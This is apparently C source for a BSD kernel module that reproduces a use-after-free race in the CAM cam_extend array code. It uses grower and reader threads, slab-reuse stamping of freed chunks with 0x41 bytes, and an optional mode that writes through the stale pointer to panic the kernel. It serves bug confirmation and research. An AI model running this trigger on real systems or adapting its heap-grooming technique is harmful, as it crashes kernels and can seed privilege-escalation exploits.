/*
 * race5663.ko (v2) -- reproduce the unsynchronized cam_extend growth
 * free (sys/bus/cam/cam_extend.c:54-78) at the primitive level, using
 * the REAL in-kernel cam_extend_set()/cam_extend_get() and NO CAM
 * device flow in the way.
 *
 * The defect: struct extend_array (cam_extend.c:33-37) has no lock.
 * Every growth does
 *      space = kmalloc(...) ; bcopy ; kfree(ea->ps) ; ea->ps = space
 * (cam_extend.c:58-68) while concurrent cam_extend_get()/release()
 * on another CPU load ea->ps and dereference ps[index]
 * (cam_extend.c:84-86).  A reader whose ea->ps load lands before the
 * kfree but whose ps[index] load lands after the chunk is freed and
 * reused reads FREED KERNEL MEMORY and hands it back as the stored
 * object pointer (struct cam_periph * for every CAM periph driver).
 *
 * Rig (v2: 3 kernel threads total -- no CPU starvation):
 *
 *   grower  loop {
 *             oldps/oldn snapshot;
 *             cam_extend_set(hot, nelem, STABLE);   // ONE growth:
 *                                                    // kmalloc+bcopy+
 *                                                    // kfree(oldps)
 *             if (ps changed) {                      // oldps was freed
 *               poison = kmalloc(8*oldn);            // LIFO reclaim of
 *                                                    // the freed chunk
 *                                                    // (same CPU, same
 *                                                    // zone -- see
 *                                                    // kern_slaballoc.c
 *                                                    // :1576-1585)
 *               memset(poison, 0x41, 8*oldn);        // stamp it
 *               kfree(poison);
 *             }
 *           }
 *           Retires to a fresh array at hotcap slots (there is no
 *           cam_extend destroy/free API -- retired arrays leak,
 *           bounded by budget).
 *
 *   readers cam_extend_get(hot, 0) in tight loops.  Slot 0 is ALWAYS
 *           STABLE_OBJ once set, so ANY other observed value came out
 *           of freed/reused memory.  A reader preempted between its
 *           ea->ps load and its ps[0] deref observes the freed+0x41-
 *           stamped chunk -> returns 0x4141414141414141.
 *
 * debug.race5663useptr=1 makes readers additionally consume the bad
 * pointer the way ptopen does (cam_periph_acquire: periph->refcount++,
 * cam_periph.c:319-329) -> write through noncanonical pointer ->
 * fatal trap -> panic.  Exactly what DF-5462 predicted for the real
 * pt flow but could not land.
 *
 * Knobs:
 *   debug.race5663run     1/0 start/stop
 *   debug.race5663useptr  1/0 consume bad pointers (PANICS on hit)
 *   debug.race5663stats   read counters (prints to dmesg)
 */

#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/systm.h>
#include <sys/malloc.h>
#include <sys/sysctl.h>
#include <sys/kthread.h>
#include <sys/thread.h>
#include <sys/types.h>

#include <bus/cam/cam_extend.h>

/* mirror of struct extend_array (cam_extend.c:33-37), same build */
struct ea_mirror { int nelem; void **ps; };

#define STABLE_OBJ	((void *)0x1133557711335577UL)
#define STAMP_VAL	((void *)0x4141414141414141UL)

static struct extend_array *volatile r5663_hot;
static volatile int	r5663_run;
static volatile int	r5663_useptr;
static volatile u_long	r5663_iters;
static volatile u_long	r5663_hits;
static volatile u_long	r5663_anoms;
static volatile int	r5663_frees;
static volatile int	r5663_arrays;
static volatile int	r5663_threads;
static volatile int	r5663_grower_done;
static int		r5663_hotcap = 256;	/* slots before retire */
static int		r5663_budget = 20000;	/* max arrays (leak bound) */

static void	r5663_grower(void *);
static void	r5663_reader(void *);
static int	r5663_sys_run(SYSCTL_HANDLER_ARGS);
static int	r5663_sys_useptr(SYSCTL_HANDLER_ARGS);
static int	r5663_sys_stats(SYSCTL_HANDLER_ARGS);

SYSCTL_PROC(_debug, OID_AUTO, race5663run, CTLTYPE_INT | CTLFLAG_RW,
	    0, 0, r5663_sys_run, "I", "1/0 start/stop the race rig");
SYSCTL_PROC(_debug, OID_AUTO, race5663useptr, CTLTYPE_INT | CTLFLAG_RW,
	    0, 0, r5663_sys_useptr, "I", "1/0 consume bad pointers (PANICS)");
SYSCTL_PROC(_debug, OID_AUTO, race5663stats, CTLTYPE_INT | CTLFLAG_RW,
	    0, 0, r5663_sys_stats, "I", "read counters (prints to dmesg)");

static int
r5663_sys_run(SYSCTL_HANDLER_ARGS)
{
	int v = 0, error, i;

	error = sysctl_handle_int(oidp, &v, 0, req);
	if (error != 0 || req->newptr == NULL)
		return (error);
	if (v == 1 && !r5663_run) {
		r5663_iters = 0;
		r5663_hits = 0;
		r5663_anoms = 0;
		r5663_frees = 0;
		r5663_arrays = 0;
		r5663_grower_done = 0;
		r5663_run = 1;
		atomic_add_int(&r5663_threads, 3);	/* 1 gr + 2 rd */
		for (i = 0; i < 2; i++)
			kthread_create(r5663_reader, NULL, NULL,
			    "r5663rd");
		kthread_create(r5663_grower, NULL, NULL, "r5663gr");
		kprintf("[RACE5663] rig started (hotcap=%d budget=%d)\n",
		    r5663_hotcap, r5663_budget);
	} else if (v == 0 && r5663_run) {
		r5663_run = 0;
		kprintf("[RACE5663] stopping\n");
	}
	return (0);
}

static int
r5663_sys_useptr(SYSCTL_HANDLER_ARGS)
{
	int v = 0, error;

	error = sysctl_handle_int(oidp, &v, 0, req);
	if (error != 0 || req->newptr == NULL)
		return (error);
	r5663_useptr = v;
	kprintf("[RACE5663] useptr=%d\n", v);
	return (0);
}

static int
r5663_sys_stats(SYSCTL_HANDLER_ARGS)
{
	int v = 0;

	kprintf("[RACE5663] stats: iters=%lu hits=%lu anoms=%lu frees=%d "
	    "arrays=%d grower_done=%d useptr=%d threads=%d\n",
	    r5663_iters, r5663_hits, r5663_anoms, r5663_frees,
	    r5663_arrays, r5663_grower_done, r5663_useptr, r5663_threads);
	return (sysctl_handle_int(oidp, &v, 0, req));
}

static void
r5663_grower(void *arg)
{
	struct extend_array *ea;
	struct ea_mirror *m;
	void *oldps, *poison;
	int oldn;

	while (r5663_run) {
		ea = r5663_hot;
		if (ea == NULL || ((struct ea_mirror *)ea)->nelem >= r5663_hotcap) {
			if (r5663_arrays >= r5663_budget) {
				r5663_run = 0;
				break;
			}
			r5663_hot = cam_extend_new();
			r5663_arrays++;
			continue;
		}
		m = (struct ea_mirror *)ea;
		oldps = m->ps;
		oldn = m->nelem;
		/* exactly one growth (kmalloc+bcopy+kfree) per call */
		cam_extend_set(ea, m->nelem, STABLE_OBJ);
		if (m->ps != oldps && oldn > 0) {
			r5663_frees++;
			/*
			 * oldps was kfree()d on THIS cpu; per-CPU zone
			 * free lists are LIFO with head-reuse
			 * (kern_slaballoc.c:1576-1585), so this same-
			 * size kmalloc reclaims it and we stamp it.
			 */
			poison = kmalloc(sizeof(void *) * oldn, M_DEVBUF,
			    M_INTWAIT);
			memset(poison, 0x41, sizeof(void *) * oldn);
			kfree(poison, M_DEVBUF);
		}
		if ((r5663_frees & 0x3FFF) == 0 && r5663_frees != 0) {
			kprintf("[RACE5663] frees=%d iters=%lu hits=%lu "
			    "anoms=%lu\n", r5663_frees, r5663_iters,
			    r5663_hits, r5663_anoms);
			lwkt_yield();
		}
	}
	r5663_grower_done = 1;
	atomic_subtract_int(&r5663_threads, 1);
	kthread_exit();
}

static void
r5663_reader(void *arg)
{
	struct extend_array *ea;
	void *p;
	u_long i = 0;

	while (r5663_run) {
		ea = r5663_hot;
		if (ea == NULL)
			continue;
		/* the REAL production reader (cam_extend.c:81-87) */
		p = cam_extend_get(ea, 0);
		r5663_iters++;
		if (p == STAMP_VAL) {
			r5663_hits++;
			kprintf("[RACE5663] *** UAF HIT #%lu: "
			    "cam_extend_get returned %p (iter %lu) -- "
			    "pointer read from freed+reused kernel memory\n",
			    r5663_hits, p, r5663_iters);
		} else if (p != NULL && p != STABLE_OBJ) {
			r5663_anoms++;
			if (r5663_anoms <= 10 || (r5663_anoms & 0xFFF) == 0)
				kprintf("[RACE5663] anomaly #%lu: get "
				    "returned %p (iter %lu)\n",
				    r5663_anoms, p, r5663_iters);
		}
		if (r5663_useptr && p == STAMP_VAL) {
			/* ptopen's cam_periph_acquire(): refcount++ */
			kprintf("[RACE5663] consuming bad periph %p "
			    "(refcount++ like ptopen)\n", p);
			atomic_add_int((int *)((char *)p + 0x20), 1);
		}
		if ((++i & 0x3F) == 0)
			lwkt_yield();
	}
	atomic_subtract_int(&r5663_threads, 1);
	kthread_exit();
}

static int
race5663_modevent(module_t mod, int type, void *data)
{
	switch (type) {
	case MOD_LOAD:
		kprintf("[RACE5663] loaded (cam_extend UAF rig)\n");
		return (0);
	case MOD_UNLOAD:
		if (r5663_run || r5663_threads != 0)
			return (EBUSY);
		kprintf("[RACE5663] unloaded\n");
		return (0);
	default:
		return (EOPNOTSUPP);
	}
}

static moduledata_t race5663_mod = { "race5663", race5663_modevent, 0 };
DECLARE_MODULE(race5663, race5663_mod, SI_SUB_DRIVERS, SI_ORDER_ANY);
